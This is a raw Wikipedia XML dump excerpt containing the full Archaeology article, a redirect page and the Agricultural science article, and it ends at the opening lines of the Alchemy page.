&lt;!--What are our priorities for writing in this area?  To help develop a list of the most basic topics in Anthropology, please refer to [[Anthropology basic topics]].--&gt;
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[[Category:Mammalogy]]
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      <text xml:space="preserve">{{portal}}'''Archaeology''' or '''archeology''' (from the [[Greek language|Greek]] words ''αρχαίος'' = ancient and ''λόγος'' = word/speech/discourse) is the study of [[Homo (genus)|human]] [[culture]]s through the recovery, documentation and analysis of material remains and environmental data, including [[architecture]], [[Artifact (archaeology)|artifact]]s, [[biofact]]s, human remains, and [[landscape]]s.

The goals of archaeology are to document and explain the origins and development of human [[culture]], understand [[culture history]], chronicle [[cultural evolution]], and study human [[behavior]] and [[ecology]], for both [[prehistory|prehistoric]] and [[history|historic]] societies.  It is considered to be one of the four sub-fields of [[anthropology]].

==Usage==
As with words such as [[encyclopedia]] and [[gynaecology]], archaeology traditionally has an ''ae'' combination; however, unlike other words, the ''ae'' is all but universally retained. Contrary to popular belief in other parts of the world, the spelling ''archeology'' is not predominant in [[United States]] [[dictionary|dictionaries]] and would look quite odd to most Americans. Like the claim that ''theater'' refers to a building and ''[[theatre]]'' refers to the [[performing arts]], the belief that ''archeology'' is an [[Americanism]] is little more than an [[urban myth]]. The traditional spelling, ''archaeology'', continues to be used in everyday writing throughout the world, including the U.S., even more so than theatre (the alternate spelling of which, while considered acceptable, is preferred less often than not).

==Ontology and definition==

In the [[Old World]], archaeology has tended to focus on the study of physical remains, the methods used in recovering them and the theoretical and philosophical underpinnings in achieving the subject's goals. The discipline's roots in [[antiquarian]]ism and the study of [[Latin]] and [[Ancient Greek]] provided it with a natural affinity with the field of [[history]]. In the [[New World]], archaeology is more commonly devoted to the study of human [[society|societies]] and is treated as one of the four subfields of [[Anthropology]]. The other subfields of [[anthropology]] supplement the findings of archaeology in a holistic manner.  These subfields are [[cultural anthropology]], which studies behavioural, symbolic, and material dimensions of culture; [[linguistics]], which studies language, including the origins of language and language groups; and [[physical anthropology]], which includes the study of human evolution and physical and [[genetics|genetic]] characteristics. Other disciplines also supplement archaeology, such as [[paleontology]], [[paleozoology]], [[paleoethnobotany]], [[paleobotany]], [[geography]], [[geology]], [[art history]], and [[classics]].

Archaeology has been described as a [[craft]] that enlists the [[science|sciences]] to illuminate the [[humanities]]. Writing in 1948, the American archaeologist [[Walter Taylor]] asserted that &quot;Archaeology is neither history nor anthropology. As an autonomous discipline, it consists of a method and a set of specialised techniques for the gathering, or 'production' of cultural information&quot;.

Archaeology is an approach to understanding human culture through its material remains regardless of chronology. In [[England]], archaeologists have uncovered the long-lost layouts of medieval villages abandoned after the crises of the 14th century and the equally lost layouts of 17th century parterre gardens swept away by a change in fashion. In downtown [[New York City]] archaeologists have exhumed the 18th century remains of the Black burial ground.  Traditional Archaeology is viewed as the study of pre-historical human cultures; that is cultures that existed before the development of [[writing]] for that culture.  [[Historical archaeology]] is the study of post-[[writing]] cultures.

In the study of relatively recent cultures, which have been observed and studied by Western scholars, archaeology is closely allied with [[ethnography]]. This is the case in large parts of [[North America]], [[Oceania]], [[Siberia]], and other places where the study of archaeology mingles with the living traditions of the cultures being studied. [[Kennewick Man]] is an example of archaeology interacting with modern culture.  In the study of cultures that were literate or had literate neighbours, [[history]] and archaeology supplement one another for broader understanding of the complete cultural context, as at [[Hadrian's Wall]].

==Importance and applicability==

Most of human history is not described by any written records. [[Writing]] did not exist anywhere in the world until about 5000 years ago, and only spread among a relatively small number of technologically advanced [[civilisation]]s. In contrast [[Homo Sapiens|''Homo sapiens'']] have existed for at least 200,000 years, and other species of [[Homo (genus)|''Homo'']] for millions of years (see [[Human evolution]]).  These civilisations are, not coincidentally, the best-known; they have been open to the inquiry of historians for centuries, while the study of pre-historic cultures has arisen only recently. Even within a civilisation that is literate at some levels, many important human practices are not officially recorded. Any knowledge of the formative early years of human civilisation - the development of [[agriculture]], cult practices of [[folk religion]], the rise of the first [[city|cities]] - must come from archaeology.

Even where written records do exist, they are invariably incomplete or biased to some extent. In many societies, literacy was restricted to the [[elite]] classes, such as the [[clergy]] or the [[bureaucracy]] of court or temple. The literacy even of an [[aristocracy]] has sometimes been restricted to deeds and contracts. The interests and world-view of elites are often quite different from the lives and interests of the rest of the populace. Writings that were produced by people more representative of the general population were unlikely to find their way into [[library|libraries]] and be preserved there for posterity. Thus, written records tend to reflect the biases of the literate classes, and cannot be trusted as a sole source. The material record is nearer to a fair representation of society, though it is subject to its own inaccuracies, such as [[sampling bias]] and [[differential preservation]].

In addition to their scientific importance, archaeological remains sometimes have political significance to descendants of the people who produced them, monetary value to collectors, or simply strong [[aesthetic]] appeal. Many people identify archaeology with the recovery of such aesthetic, religious, political, or economic treasures rather than with the reconstruction of past societies. 

This view is often espoused in works of popular fiction, such as ''[[Raiders of the Lost Ark]]'', ''[[The Mummy (1999 movie)|The Mummy]]'', and ''[[King Solomon's Mines]]''. When such unrealistic subjects are treated more seriously, accusations of [[pseudoscience]] are invariably levelled at their proponents (see Pseudoarchaeology, below). However, these endeavours, real and fictional, are not representative of the modern state of archaeology.

==Goals==

There is still a tremendous emphasis in the practice of archaeology on field techniques and methodologies. These include the tasks of surveying areas in order to find new sites, digging sites in order to unearth the cultural remains therein, and classification and preservation techniques in order to analyse and keep these remains. Every phase of this process can be a source of information.

The goals of archaeology are not always the same. There are at least three broad, distinct theories of exactly what archaeological research should do. (These are beyond the scope of the present discussion, and are discussed at length below.) Nevertheless, there is much common ground.

===Academic sub-disciplines===

''Main article: [[Archaeological sub-disciplines]]''

As with most [[academia|academic]] disciplines, there are a very large number of [[archaeological sub-disciplines]] characterised by a specific method or type of material (e.g. [[lithic analysis]], [[music (archaeology)|music]], [[archaeobotany]]), geographical or chronological focus (e.g. [[Near Eastern archaeology]], [[Medieval archaeology]]), other thematic concern (e.g. [[landscape archaeology]]), or a specific [[archaeological culture]] or [[civilisation]] (e.g. [[Egyptology]]).

===Cultural resources management===
''[[Cultural resources management]]'' (CRM) (also called ''heritage management'' in Britain) is a branch of archaeology that accounts for most research done in the [[United States]] and much of that in [[western Europe]] as well. In the United States, CRM archaeology has been a growing concern since the passage of the [[National Historic Preservation Act]] of 1966 and most of the archaeology done in that country today proceeds from either direct or related requirements of that measure. In the United States, the vast majority of taxpayers, scholars, and politicians believe that CRM has helped to preserve much of that nation's history and prehistory that would have otherwise been lost in the expansion of cities, dams, and highways. Along with other statutes, this mandates that no construction project on [[public land]] or involving public funds may damage an unstudied [[archaeological site]]. 

The application of CRM in the United Kingdom is not limited to government-funded projects. Since 1990 [[PPG 16]] has required planners to consider archaeology as a [[material consideration]] in determining applications for new development. As a result, numerous archaeological organisations undertake mitigation work in advance of (or during) construction work in archaeologically sensitive areas, at the developer's expense.

Among the goals of CRM are the identification, preservation, and maintenance of [[cultural]] sites on public and private lands, and the removal of culturally valuable materials from areas where they would otherwise be destroyed by human activity, such as proposed construction. This study involves at least a cursory examination to determine whether or not any significant archaeological sites are present in the area affected by the proposed construction. If these do exist, time and money must be allotted for their excavation. If initial survey and/or test excavation indicates the presence of an extraordinarily valuable site, the construction may be prohibited entirely. CRM is a thriving entity, especially in the United States and Europe where archaeologists from private companies and all levels of government engage in the practice of their discipline.

Cultural resources management has, however, been criticized. CRM is conducted by private companies that bid for projects by submitting proposals outlining the work to be done and an expected budget. It is not unheard-of for the agency responsible for the construction to simply choose the proposal that asks for the least funding. CRM archaeologists face considerable time pressure, often being forced to complete their work in a fraction of the time that might be allotted for a purely scholarly endeavour.

==Field methods==
===Survey===
A modern archaeological project often begins with a [[archaeological survey|survey]]. ''Regional survey'' is the attempt to systematically locate previously unknown sites in a region. ''Site survey'' is the attempt to systematically locate features of interest, such as houses and [[midden|middens]], within a site. Each of these two goals may be accomplished with largely the same methods.

Survey was not widely practiced in the early days of archaeology. Cultural historians and prior researchers were usually content with discovering the locations of monumental sites from the local populace, and excavating only the plainly visible features there. [[Gordon Willey]] pioneered the technique of regional settlement pattern survey in 1949 in the [[Viru Valley]] of coastal [[Peru]], and survey of all levels became prominent with the rise of processual archaeology some years later.

Survey work has many benefits if performed as a preliminary exercise to, or even in place of, excavation. It requires relatively little time and expense, because it does not require processing large volumes of soil to search out artefacts. (Nevertheless, surveying a large region or site can be expensive, so archaeologists often employ [[sampling (statistics)|sampling]] methods.) It avoids ethical issues (of particular concern to descendant peoples) associated with destroying a site through excavation. It is the only way to gather some forms of information, such as [[settlement pattern|settlement patterns]] and settlement structure. Survey data are commonly assembled into [[map|maps]], which may show surface features and/or artefact distribution.

The simplest survey technique is ''surface survey''. It involves combing an area, usually on foot but sometimes with the use of mechanised transport, to search for features or artefacts visible on the surface. Surface survey cannot detect sites or features that are completely buried under earth, or overgrown with vegetation. Surface survey may also include mini-excavation techniques such as [[auger|augers]], [[corer|corers]], and [[shovel test]] pits.

''[[Aerial survey]]'' is conducted using [[camera|cameras]] attached to [[aircraft]], [[balloon|balloons]], or even [[kite|kites]]. A bird's-eye view is useful for quick mapping of large or complex sites. Aerial imaging can also detect many things not visible from the surface. [[Plant|Plants]] growing above a stone structure, such as a wall, will develop more slowly, while those above other types of features (such as [[midden|middens]]) may develop more rapidly. Photographs of ripening [[cereal|grain]], which changes colour rapidly at maturation, have revealed buried structures with great precision. Aerial survey also employs [[infrared]], ground-penetrating [[radar]] wavelengths, and [[thermography]].

''[[Geophysical survey]]'' is the most effective way to see beneath the ground. [[Magnetometer|Magnetometers]] detect minute deviations in the [[Earth's magnetic field]] caused by [[iron]] artefacts, [[kiln|kilns]], some types of [[stone structures]], and even ditches and middens. Devices that measure the [[electrical resistivity]] of the soil are also widely used. Most soils are [[moisture|moist]] below the surface, which gives them a relatively low resistivity. Features such as hard-packed floors or concentrations of stone have a higher resistivity. 

Although some archaeologists consider the use of [[metal detector|metal detectors]] to be tantamount to treasure hunting, others deem them an effective tool in archaeological surveying. Examples of formal archaeological use of metal detectors include musketball distribution analysis on [[English Civil War]] battlefields, metal distribution analysis prior to excavation of a nineteenth century ship wreck, and service cable location during evaluation. Metal detectorists have also contributed to the archaeological record where they have made detailed records of their results and refrained from raising artifacts from their archaeological context.  In the UK, metal detectorists have been solicited for involvement in the [[Portable Antiquities Scheme]].

Regional survey in maritime archaeology uses [[side-scan sonar]].

===Excavation===
[[Excavation|Archaeological excavation]] existed even when the field was still the domain of amateurs, and it remains the source of the majority of data recovered in most field projects. It can reveal several types of information usually not accessible to survey, such as stratigraphy, three-dimensional structure, and verifiably primary context.

Modern excavation techniques require that the precise locations of objects and features, known as their [[provenance]] or provenience, be recorded. This always involves determining their horizontal locations, and sometimes vertical position as well (also see [[Primary Laws of Archaeology]]). Similarly, their [[archaeological association|association]], or relationship with nearby objects and features, needs to be recorded for later analysis. This allows the archaeologist to deduce what artefacts and features were likely used together and which may be from different phases of activity. For example, excavation of a site reveals its [[stratigraphy]]; if a site was occupied by a succession of distinct [[culture|cultures]], artefacts from more recent cultures will lie above those from more ancient cultures.

Excavation is the most expensive phase of archaeological research. Also, as a destructive process, it carries [[ethics|ethical]] concerns. As a result, very few sites are excavated in their entirety. [[Sampling (statistics)|Sampling]] is even more important in excavation than in survey. It is common for large mechanical equipment, such as [[backhoe]]s ([[J. C. Bamford|JCBs]]), to be used in excavation, especially to remove the [[topsoil]] ([[overburden]]), though this method is increasingly used with great caution. Following this rather dramatic step, the exposed area is usually hand-cleaned with trowels or hoes to ensure that all features are apparent.

The next task is to form a [[Archaeological plan|site plan]] and then use it to help decide the method of excavation. Features dug into the natural [[subsoil]] are normally excavated in portions in order to produce a visible [[archaeological section]] for recording. Scaled plans and sections of individual features are all drawn on site, black and white and colour photographs of them are taken, and recording sheets are filled in describing the [[context]] of each. All this information serves as a permanent record of the now-destroyed archaeology and is used in describing and interpreting the site.

==Post-excavation analysis==
Once artefacts and structures have been excavated, or collected from surface surveys, it is necessary to properly study them, to gain as much data as possible. This process is known as post-excavation analysis, and is normally the most time-consuming part of the archaeological investigation. It is not uncommon for the final excavation reports on major sites to take years to be published.

At its most basic, the artefacts found are cleaned, catalogued and compared to published collections, in order to classify them [[typology|typologically]] and to identify other sites with similar artefact assemblages. However, a much more comprehensive range of analytical techniques are available through [[archaeological science]], meaning that artefacts can be dated and their compositions examined. The bones, plants and pollen collected from a site can all be analysed (using the techniques of [[zooarchaeology]], [[paleoethnobotany]], and [[palynology]]), while any texts can usually be [[Decipherment|deciphered]].

These techniques frequently provide information that would not otherwise be known and therefore contribute greatly to the understanding of a site.

==History of archaeology==
''Main article: [[History of archaeology]]''

The history of archaeology has been one of increasing professionalisation, and the use of an increasing range of techniques, to obtain as much data on the site being examined as possible.

Excavations of ancient monuments and the collection of antiquities have been taking place for thousands of years, but these were mostly for the extraction of valuable or aesthetically pleasing artefacts.

It was only in the 19th century that the systematic study of the past through its physical remains began to be carried out. Archaeological methods were developed by both interested amateurs and professionals, including [[Augustus Pitt Rivers]] and [[William Flinders Petrie]].

This process was continued in the 20th century by such people as [[Mortimer Wheeler]], whose highly disciplined approach to excavation greatly improved the quality of evidence that could be obtained.

During the 20th century, the development of [[urban archaeology]] and then [[rescue archaeology]] have been important factors, as has the development of [[archaeological science]], which has greatly increased the amount of data that it is possible to obtain.

==Archaeological theory==
''Main article: [[Archaeological theory]]''

There is no single theory of archaeology, and even definitions are disputed. Until the mid-20th century and the introduction of technology, there was a general consensus that archaeology was closely related to both history and anthropology. The first major phase in the history of archaeological theory is commonly referred to as '''[[Cultural-history archaeology|cultural, or culture, history]]''', which was developed during the late 19th and early 20th centuries.

In the 1960s, a number of young, primarily American archaeologists, such as [[Lewis Binford]], rebelled against the paradigms of cultural history. They proposed a &quot;New Archaeology&quot;, which would be more &quot;scientific&quot; and &quot;anthropological&quot;, with [[hypothesis]] testing and the [[scientific method]] very important parts of what became known as '''[[processual archaeology]]'''.

In the 1980s, a new movement arose led by the British archaeologists [[Michael Shanks (archaeologist)|Michael Shanks]], [[Christopher Tilley]], [[Daniel Miller]], and [[Ian Hodder]]. It questioned processualism's appeals to science and impartiality and emphasised the importance of relativism, becoming known as '''[[post-processual archaeology]]'''. However, this approach has been criticised by processualists as lacking scientific rigour. The validity of both processualism and post-procuessualism is still under debate.

Archaeological theory now borrows from a wide range of influences, including [[evolution|neo-Darwinian evolutionary thought]], [[phenomenology]], [[postmodernism]], [[Structure and agency|agency theory]], [[Cognitive archaeology|cognitive science]], [[Functionalism (sociology)|Functionalism]], [[Gender archaeology|gender-based]] and [[Feminist archaeology]], and [[Systems theory in archaeology|Systems theory]].

==Public archaeology==
Early archaeology was largely an attempt to uncover spectacular artifacts and features, or to explore vast and mysterious abandoned cities. Such pursuits continue to fascinate the public, portrayed in books (such as ''[[King Solomon's Mines]]'') and films (such as ''[[The Mummy (1999 movie)|The Mummy]]'' and ''[[Raiders of the Lost Ark]]'').

Much thorough and productive research has indeed been conducted in dramatic locales such as [[Copán]] and the [[Valley of the Kings]], but the stuff of modern archaeology is not so reliably sensational. In addition, archaeological adventure stories tend to ignore the painstaking work involved in modern [[archaeological survey|survey]], [[excavation]], and [[archaeological data processing|data processing]] techniques. Some archaeologists refer to such portrayals as &quot;[[pseudoarchaeology]]&quot;.

Nevertheless, archaeology has profited from its portrayal in the mainstream media. Many practitioners point to the childhood excitement of [[Indiana Jones]] films and [[Tomb Raider games]] as the inspiration for them to enter the field. Archaeologists are also very much reliant on public support, the question of exactly who they are doing their work for is often discussed. Without a strong public interest in the subject, often sparked by significant finds and celebrity archaeologists, it would be a great deal harder for archaeologists to gain the political and financial support they require.

In the UK, popular archaeology programmes such as ''[[Time Team]]'' and ''[[Meet the Ancestors]]'' have resulted in a huge upsurge in public interest.  Where possible, archaeologists now make more provision for public involvement and outreach in larger projects than they once did. However, the move towards being more professional has meant that volunteer places are now relegated to unskilled labour, and even this is less freely available than before. Developer-funded excavation necessitates a well-trained staff that can work quickly and accurately, observing the necessary [[health and safety]] and indemnity insurance issues involved in working on a modern [[construction|building site]] with tight deadlines. Certain charities and [[local government]] bodies sometimes offer places on research projects either as part of academic work or as a defined community project. There is also a flourishing industry selling places on commercial [[training excavations]] and archaeological holiday tours.

Archaeologists prize local knowledge and often liaise with local historical and archaeological societies. Anyone looking to get involved in the field without having to pay to do so should contact a local group.

===Pseudoarchaeology===
''Main article: [[Pseudoarchaeology]]''.

Pseudoarchaeology is an umbrella term for all activities that claim to be archaeological but in fact violate commonly accepted archaeological practices. It includes much fictional archaeological work (discussed above), as well as some actual activity. Many non-fiction authors have ignored the scientific methods of [[processual archaeology]], or the specific critiques of it contained in  [[Post-processual archaeology|Post-processualism]].

An example of this type is the writing of [[Erich von Däniken]]. His ''[[Chariots of the Gods]]'' (1968), together with many subsequent lesser-known works, expounds a theory of ancient contacts between human civilisation on Earth and more technologically advanced extraterrestrial civilisations. This theory, known as [[palaeocontact theory]], is not exclusively Däniken's nor did the idea originate with him. Works of this nature are usually marked by the renunciation of well-established theories on the basis of limited evidence, and the interpretation of evidence with a preconceived theory in mind.

===Looting===
Looting of archaeological sites by people in search of [[hoard|hoards]] of buried treasure is an ancient problem. For instance, many of the tombs of the Egyptian [[pharaoh|pharaohs]] were looted in antiquity. The advent of archaeology has made ancient sites objects of great scientific and public interest, but it has also attracted unwelcome attention to the works of past peoples. A brisk commercial demand for artefacts encourages looting and the [[illicit antiquities]] trade, which smuggles items abroad to private collectors. Looters damage the integrity of a historic site, deny archaeologists valuable information that would be learnt from excavation, and are often deemed to be robbing local people of their heritage. 

The popular consciousness often associates looting with poor [[Third World]] countries. Many are former homes to many well-known ancient civilizations but lack the financial resources or political will to protect even the most significant sites. Certainly, the high prices that intact objects can command relative to a poor farmer's income make looting a tempting financial proposition for some local people. However, looting has taken its toll in places as rich and populous as the United States and Western Europe as well. Abandoned towns of the ancient [[Sinagua]] people of [[Arizona]], clearly visible in the desert landscape, have been destroyed in large numbers by treasure hunters. Sites in more densely populated areas farther east have also been looted. Where looting is proscribed by law it takes place under cover of night, with the [[metal detector]] a common instrument used to identify profitable places to dig.

===Public outreach===
Motivated by a desire to halt '''looting''', curb '''pseudoarchaeology''', and to secure greater public funding and appreciation for their work, archaeologists are mounting '''public-outreach campaigns'''. They seek to stop looting by informing prospective artefact collectors of the provenance of these goods, and by alerting people who live near archaeological sites of the threat of looting and the danger that it poses to science and their own heritage. Common methods of public outreach include press releases and the encouragement of school field trips to sites under excavation.

The final audience for archaeologists' work is the public and it is increasingly realised that their work is ultimately being done to benefit and inform them. The putative social benefits of local heritage awareness are also being promoted with initiatives to increase civic and individual pride through projects such as community excavation projects and better interpretation and presentation of existing sites.

===Descendant peoples===
In the United States, examples such as the case of [[Kennewick Man]] have illustrated the tensions between [[Native Americans in the United States|Native American]]s and archaeologists which can be summarised as a conflict between a need to remain respectful towards burials sacred sites and the academic benefit from studying them. For years, American archaeologists dug on Indian burial grounds and other places considered sacred, removing artefacts and human remains to storage facilities for further study. In some cases human remains were not even thoroughly studied but instead archived rather than reburied. Furthermore, Western archaeologists' views of the past often differ from those of tribal peoples. The West views time as linear; for many natives, it is cyclic. From a Western perspective, the past is long-gone; from a native perspective, disturbing the past can have dire consequences in the present. To an archaeologist, the past is long-gone and must be reconstructed through its material remains; to indigenous peoples, it is often still alive.

As a consequence of this, American Indians attempted to prevent archaeological excavation of sites inhabited by their ancestors, while American archaeologists believed that the advancement of scientific knowledge was a valid reason to continue their studies. This contradictory situation was addressed by the [[Native American Graves Protection and Repatriation Act]] (NAGPRA, 1990), which sought to reach a compromise by limiting the right of research institutions to possess human remains. Due in part to the spirit of postprocessualism, some archaeologists have begun to actively enlist the assistance of [[indigenous peoples]] likely to be descended from those under study.

Archaeologists have also been obliged to re-examine what constitutes an archaeological site in view of what native peoples believe to constitute sacred space. To many native peoples, natural features such as lakes, mountains or even individual trees have cultural significance. Australian archaeologists especially have explored this issue and attempted to survey these sites in order to give them some protection from being developed. Such work requires close links and trust between archaeologists and the people they are trying to help and at the same time study.

While this cooperation presents a new set of challenges and hurdles to fieldwork, it has benefits for all parties involved. Tribal elders cooperating with archaeologists can prevent the excavation of areas of sites that they consider sacred, while the archaeologists gain the elders' aid in interpreting their finds. There have also been active efforts to recruit aboriginal peoples directly into the archaeological profession.

====Repatriation====
A new trend in the heated controversy between [[First Nations]] groups and scientists is the [[repatriation]] of native [[artifacts]] to the original descendants. An example of this occurred June 21, 2005, when a community members and elders from a number of the 10 [[Algonquian]] nations in the [[Ottawa]] area convened on the Kitigan Zibi reservation in [[Kanawagi, Quebec]], to inter ancestral human remains and burial goods — some dating back 6,000 years. 

The ceremony marked the end of a journey spanning thousands of years and many miles. The remains and artifacts, including [[beads]], [[tools]] and [[weapons]], were originally excavated from various sites in the [[Ottawa Valley]], including [[Morrison]] and the [[Allumette Islands]]. They had been part of the [[Canadian Museum of Civilization]]’s research collection for decades, some since the late 1800s. Elders from various Algonquin communities conferred on an appropriate reburial, eventually deciding on traditional [[redcedar]] and [[birchbark]] boxes lined with redcedar chips, [[muskrat]] and [[beaver pelts]]. 

Now, an inconspicuous rock mound marks the reburial site where close to 90 boxes of various sizes are buried. Although negotiations were at times tense between the Kitigan Zibi community and museum, they were able to reach agreement (source: [http://www.canadiangeographic.ca/magazine/SO05/indepth/archaeology.asp Canadian Geographic Online]).

==See also==
*[[List of significant archaeological discoveries]] 
*[[List of archaeological sites sorted by country]] 
*[[List of archaeologists]]
*[[Biblical archaeology]]
*[[List of archaeological periods]]
*[[Prehistory]]

==External links==
{{commonscat|Archaeology}}

* [http://www.archeologia.be Archeologia belga] The Alphabetical of Archaeology. French Archaeology.
* [http://www.archaeologynews.org Archaeology News] Current News and Information pertaining to all areas of archaeology, plus free news feeds for webmasters. 
*[http://www.northpacificprehistory.com North Pacific Prehistory] is an academic journal specialising in Northeast Asian and North American archaeology.
* [http://nefer-seba.net/Archaeological-Fieldwork.php Excavation Sites] Archaeological work and volunteer pages.
* [http://wasteflake.com/tiki-index.php?page=PopularArchaeology Archaeology in Popular Culture]
* [http://www.anthropology-resources.org/ Anthropology Resources on the Internet] - Anthropology Resources on the Internet : a web directory, part of the WWW Virtual Library, with over 4000 links grouped in specialised topics.
* [http://www.archaeology.org/ ''Archaeology'' magazine] published by the Archaeological Institute of America
* [http://www.archaeologydirectory.com/ Archaeology Directory] - Directory of archaeological topics on the web.
* [http://cctr.umkc.edu/user/fdeblauwe/iraq.html The 2003- Iraq War &amp; Archaeology] Information about looting in Iraq.
* [http://www.galilean-library.org/newarch.html Philosophy and the New Archaeology], an essay at the Galilean Library on the philosophical underpinnning of archaeology and the debate over the New Archaeology.
* [http://www.african-archaeology.net/ WWW VL African Archaeology] - The african archaeology portal, part of the WWW Virtual Library : all the web sites relating to african archaeology are listed here.

==Further reading==
* Ashmore, W. and Sharer, R. J., ''Discovering Our Past: A Brief Introduction to Archaeology'' Mountain View: Mayfield Publishing Company. ISBN 076741196X. This has also been used as a source.
* Neumann, Thomas W. and Robert M. Sanford, ''Practicing Archaeology: A Training Manual for Cultural Resources Archaeology'' [http://www.rowmanlittlefield.com/ Rowman and Littlefield Pub Inc], August, 2001, hardcover, 450 pages, ISBN 0759100942
* Renfrew, Colin &amp; Bahn, Paul G., ''Archaeology: Theories, Methods and Practice'', Thames and Hudson, 4th edition, 2004. ISBN 0500284415
* Sanford, Robert M. and Thomas W. Neumann, ''Cultural Resources Archaeology: An Introduction'', [http://www.rowmanlittlefield.com/ Rowman and Littlefield Pub Inc], December, 2001, trade paperback, 256 pages, ISBN 0759100950
* Trigger, Bruce. 1990. &quot;A History of Archaeological Thought&quot;. Cambridge: Cambridge University Press. ISBN 0521338182

[[Category:Anthropology]]
[[Category:Archaeology]]
[[Category:Humanities occupations]]
[[Category:Social sciences]]

[[af:Argeologie]]
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[[bs:Arheologija]]
[[ca:Arqueologia]]
[[ceb:Arkeyolohiya]]
[[cs:Archeologie]]
[[cy:Archaeoleg]]
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[[fr:Archéologie]]
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    <title>Anomalous Phenomena</title>
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      <minor />
      <text xml:space="preserve">#REDIRECT [[Anomalous_phenomenon]]</text>
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  </page>
  <page>
    <title>Agricultural science</title>
    <id>572</id>
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      <minor />
      <comment>Disambiguate [[GMO]] to [[Genetically modified organism]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Agricultural science''' is a broad multidisciplinary field that encompasses the parts of exact, natural, economic, and [[social sciences]] that are used in the practice and understanding of [[agriculture]]. ([[veterinary medicine|Veterinary science]], but not [[animal science]], is often excluded from the definition.)

==Agriculture and agricultural science ==

The two terms are often confused. However, they cover different concepts:

:Agriculture is the set of activities that transform the environment for the production of animals and plants for human use. Agriculture concerns techniques, including the application of agronomic research.

:Agronomy is [[research and development]] related to studying and improving plant-based agriculture.

Agricultural sciences include research and development on:

* Production techniques (e.g., [[irrigation]] management, recommended [[nitrogen]] inputs)
* Improving [[agricultural productivity|production]] in terms of quantity and quality (e.g., selection of [[drought]]-resistant crops and animals, development of new [[pesticide]]s, yield-sensing technologies, simulation models of crop growth, in-vitro [[cell culture]] techniques)
* Transformation of primary products into end-[[consumer]] products (e.g., production, preservation, and packaging of [[dairy product]]s)
* Prevention and correction of adverse environmental effects (e.g., [[soils retrogression and degradation|soil degradation]], [[waste management]], [[bioremediation]])
* [[Theoretical production ecology]], relating to crop production modeling
* [[traditional agricultural systems]] such as which serve to feed most people in the world and which often retain integration with nature in a way that hs proven more sustainable than modern systems
* Food production and demand on a global basis, with special attention paid to the major producers of China and India.

== Agricultural science: a local science ==

With the exception of [[theoretical production ecology|theoretical agronomy]], research in agronomy, more than in any other field, is strongly related to local areas. It can be considered a science of [[ecoregions]], because it is closely linked to soil properties and [[climate]], which are never exactly the same from one place to another. Many people think an agricultural production system relying on local weather, [[soil]] characteristics, and specific crops has to be studied locally. Others feel a need to know and understand production systems in as many areas as possible, and the human dimension of interation with nature.

== History of agricultural science ==
''Main Article: [[History of agricultural science]]''

Agricultural science is seen by some to have began with [[Mendel]]'s insightful genetc work, but in modern terms might be better dated from the [[chemical fertilizer]] outputs of [[plant physiological]] understanding in eighteenth century [[Germany]]. Today it is very different from what it was even in 1950. Intensification of agriculture since the 1960s in developed and [[developing countries]], often referred to as the [[Green Revolution]], was closely tied to progress made in  selecting and improving crops and animals for high productivity, as well as to developing additional inputs such as artificial [[fertilizer]]s and [[pesticide|phytosanitary product]]s.

As the oldest and largest human intervention in nature, the environmental impact  of agriculture in general and more recently [[intensive agriculture]], industrial development, and population growth have raised many questions among agricultural scientists and have led to the development and emergence of new fields. These include technological fields  that assume the solution to technological problems lies in better technology, such as [[integrated pest management]], [[waste management|waste treatment]] technologies, [[landscape architecture]], [[genomics]], and [[agricultural philosophy]] fields that include references to food production as something essentially different from non-essential eeconomic 'goods'. In fact, the interaction between these two approaches provide a fertile field for deeper understanding in agricultural science.

New technologies, such as [[biotechnology]] and [[computer science]] (for data processing and storage), and technological advances have made it possible to develop new research fields, including [[genetic engineering]], [[agrophysics]], improved [[statistics|statistical analysis]], and [[precision farming]]. Balancing these, as above, are the natural and human sciences of agricultural science that seek to understand the human-nature interactions of [[traditional agriculture]], including interaction of [[religion and agriculture]], and the non-material components of agricultural production systems.

=== Prominent agricultural scientists ===

* [[Norman Borlaug]]
* [[Luther Burbank]]
* [[Louis Pasteur]]
* [[Gregor Mendel]]
* [[Rene Dumont|René Dumont]]
* [[George Washington Carver]]

== Agricultural science and agriculture crisis==

Agriculture sciences seek to feed the world's population while preventing [[biosafety]] problems that may affect human health and the [[Natural environment|environment]]. This requires promoting good management of [[natural resources]] and respect for the environment, and increasingly concern for the psychological wellbeing of all concerned in the food production and consumption system.

Economic, environmental, and social aspects of agriculture sciences are subjects of ongoing debate. Recent crises (such as Avian Flu, [[Bovine Spongiform Encephalopathy|mad cow disease]] and issues such as the use of [[genetically modified organism]]s) illustrate the complexity and importance of this debate.

== Fields of agricultural science ==

* [[Agricultural engineering]]
* [[Agricultural philosophy]]
* [[Biosystems engineering]]
* [[Aquaculture]]
* [[Agronomy]] and [[Horticulture]]
* [[Agrophysics]] 
* [[Livestock|Animal science]]
* Plant [[fertilizer|fertilization]], [[animal nutrition|animal]] and [[human nutrition]]
* Plant protection and animal health
* [[Soil science]], especially [[edaphology]]. 
* [[hydrology|water science]] 
* [[Agricultural biotechnology|Biotechnology]], [[genetic engineering]], and [[microbiology]]
* Farming equipment
* [[Irrigation]] and [[water management]]
* Agricultural [[economics]]
* [[Food science]]
* [[Environmental science]] and [[environmental engineering|engineering]]
* [[Waste management]]
* [[Ecology]] and [[Natural environment|environment]]
* [[Theoretical production ecology]]

== See also == 
*[[Agricultural sciences basic topics]]
*[[Agrology]]
*[[Agronomy]]
*[[History of agricultural science]]

[[Category:Agriculture]]
[[Category:Agronomy|*]]
[[Category:Soil science]]

[[bg:Аграрни науки]]
[[da:Agronomi]]
[[de:Agrarwissenschaft]]
[[fr:Agronomie]]
[[id:Agronomi]]
[[it:Agronomia]]
[[he:אגרונומיה]]
[[nl:Landbouwkunde]]
[[ja:農学]]
[[pl:Agronomia]]
[[fi:Maataloustiede]]
[[sv:Agronomi]]
[[th:เกษตรศาสตร์]]
[[zh:农学]]</text>
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  <page>
    <title>Alchemy</title>
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      <minor />
      <comment>/* Alchemy in Medieval Europe */</comment>
      <text xml:space="preserve">{{featured article}}
{{Otheruses}}

[[Image:Alchemist's Laboratory, Heinrich Khunrath, Amphitheatrum sapientiae aeternae, 1595 c.jpg|thumb|right|300px|Alchemist's laboratory, by Hans Vredman de Vries, c 1595.]]

